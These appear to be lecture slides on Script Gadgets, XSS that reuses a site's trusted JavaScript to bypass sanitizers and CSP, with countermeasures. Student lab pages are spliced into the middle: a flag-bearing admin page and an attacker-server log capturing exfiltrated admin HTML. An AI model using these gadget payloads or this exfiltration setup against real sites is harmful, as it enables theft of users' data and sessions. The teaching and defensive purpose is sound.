Technische Universität Braunschweig

Decision Support

Institut für Wirtschaftsinformatik

Script Gadgets

Bypassing XSS Mitigations via Browser Code Reuse

Web Security Group, June 4, 2026

Outline

1. XSS and modern defenses
2. What are Script Gadgets?
3. How mitigations are bypassed
4. Case study and countermeasures

What is XSS?

Cross-Site Scripting (XSS) means that an attacker gets JavaScript executed in another user's browser (Lekies et al., 2017).

Classic payload

```
<script>alert(1)</script>
```

Goal: the browser executes attacker-controlled code in the context of the vulnerable website.

Motivation

Modern defenses usually block **obvious executable code**:

- `<script>` tags
- inline event handlers such as `onerror` or `onclick`
- `javascript:` URLs

But modern web applications already contain a lot of **trusted JavaScript** from frameworks and libraries.

Can an attacker reuse trusted website code instead of injecting new JavaScript?

Answer:

Yes, this is the idea behind **Script Gadgets**.

Definition: Script Gadget

Script Gadget (Lekies et al., 2017)

A Script Gadget is **trusted JavaScript already present on a website** that can be triggered by attacker-controlled but seemingly harmless HTML.

- The attacker does **not** inject the JavaScript gadget itself.
- The gadget already exists in the application or a library.
- The attacker only provides input that activates an unsafe code path.

But What If No Script Is Injected?

Classic XSS blocked

↓

Attacker injects harmless-looking HTML

↓

Trusted website JavaScript reads it

↓

Code execution

Key idea

Script Gadgets show that stopping injected scripts is not always enough when the site's own JavaScript does the dangerous work.

Tiny Example

The attacker injects harmless-looking HTML:

Injected markup

```
<div data-cmd="alert(1)"></div>
```

The website already contains JavaScript like this:

Existing trusted code

```
eval(element.dataset.cmd);
```

Result: the attacker did not inject a `<script>` tag, but code still executes.

my notes app

websec project. small notes site to show a script gadget XSS.

pages

- /notes - post notes here (this is the vulnerable one)
- /notes/safe - same but with the fix
- /login - log in
- /admin - admin page (has the flag)

not logged in.

---

attacker server is on port 9000. it just logs whatever url comes in. used for the demo.

admin page

home | logout

welcome **admin@example.org**

the flag is:

```
hacklab{well_doooooooooooooooooooooooooooooone}
```

this page checks the session cookie in server.js. if you are not admin you get 403.

```
ooooooooooooooooone%7D%3C%2Fp%3E%0A%0A%3Cp%3E%3Csmall%3Ethis%20page%20checks%20the%20session%20cookie%20in%20server.js.%20if%20you%20are%20not%20admin%20you%20get%20403.%3C%2Fsmall%3E%3C%2Fp%3E%0A%0A%3C%2Fbody%3E%0A%3C%2Fhtml%3E%0A
attacker-1  |   f = <!DOCTYPE html>
attacker-1  | <html>
attacker-1  | <head>
attacker-1  | <title>admin</title>
attacker-1  | </head>
attacker-1  | <body>
attacker-1  |
attacker-1  | <h2>admin page</h2>
attacker-1  | <p><a href="/">home</a> | <a href="/logout">logout</a></p>
attacker-1  |
attacker-1  | <p>welcome <b>admin@example.org</b></p>
attacker-1  |
attacker-1  | <p>the flag is:</p>
attacker-1  | <p style="background-color:#ffffaa;padding:6px;font-family:monospace">hacklab{well_doooooooooooooooooooooooooone}</p>
attacker-1  |
attacker-1  | <p><small>this page checks the session cookie in server.js. if you are not admin you get 403.</small></p>
attacker-1  |
attacker-1  | </body>
attacker-1  | </html>
attacker-1  |
attacker-1  |
attacker-1  | [CAPTURE] 2026-06-01T20:26:19.234Z  GET /?f=Forbidden%20-%20admin%20only.%20Log%20in%20at%20%2Flogin.
attacker-1  |   f = Forbidden - admin only. Log in at /login.
```

Bypassing Filters and Sanitizers

Filters and sanitizers often block patterns such as:

Blocked

`<script>`, `onerror`, `eval`, `document.cookie`

But a gadget payload may use allowed attributes:

Allowed-looking

`data-html`, `data-bind`, `class`, `id`

These attributes become dangerous only when trusted JavaScript interprets them.

Bypassing CSP

Content Security Policy (CSP) can block injected scripts.

But Script Gadgets reuse scripts that are already trusted by the page.

- `unsafe-eval`: enables gadgets using `eval` or template execution
- `strict-dynamic`: trusted libraries may create new `<script>` elements
- Framework parsers may evaluate attacker-controlled expressions

Important result

In the paper, **13 out of 16** studied frameworks allowed a bypass of `strict-dynamic`.

Empirical Results

Lekies et al. manually analyzed 16 JavaScript libraries and frameworks.

- Gadgets were found in **almost all** analyzed frameworks.
- React had no usable gadgets in their study.
- In the Alexa Top 5000 study, **19.88%** of domains had verified gadgets.

Takeaway

Script Gadgets are not only theoretical. They appeared in real frameworks and real websites.

Lekies et al. (2017)

Example: Bootstrap Tooltip

The course example Novaes (2026) illustrates the idea with Bootstrap tooltips.

1. A user profile contains unsanitized HTML in a tooltip `title`.
2. Bootstrap reads the tooltip data.
3. `sanitize: false` disables Bootstrap's internal protection.
4. Bootstrap renders attacker-controlled HTML.
5. The payload runs when the tooltip is triggered.

Why this is a Script Gadget

Bootstrap is trusted library code, but it processes attacker-controlled input in an unsafe configuration.

Countermeasures

- Fix the original injection flaw.
- Use context-aware encoding and sanitization before data enters the DOM.
- Avoid dangerous APIs such as `eval`, `innerHTML`, and `new Function`.
- Do not disable library protections such as `sanitize: true`.
- Use CSP as defense in depth, not as the only defense.

Takeaways

Main message

Harmless-looking HTML can become dangerous when trusted JavaScript processes it unsafely.

- Script Gadgets reuse existing website or library code.
- They can bypass common XSS mitigations.
- Trusted frameworks can still be abused.
- Secure coding is still necessary.

Questions?

Thank you for your attention!

References I

Lekies, S., Kotowicz, K., Groß, S., Vela Nava, E. A., and Johns, M. (2017). Code-reuse attacks for the web: Breaking cross-site scripting mitigations via script gadgets. In *Proceedings of the 2017 ACM SIGSAC Conference on Computer and Communications Security (CCS)*, pages 1709–1722.

Novaes, L. (2026). Script gadget demo: Bootstrap tooltip stored xss. Course documentation (pdf_from_friends.pdf). Lab demo: Bootstrap tooltip, ports 8000/9000.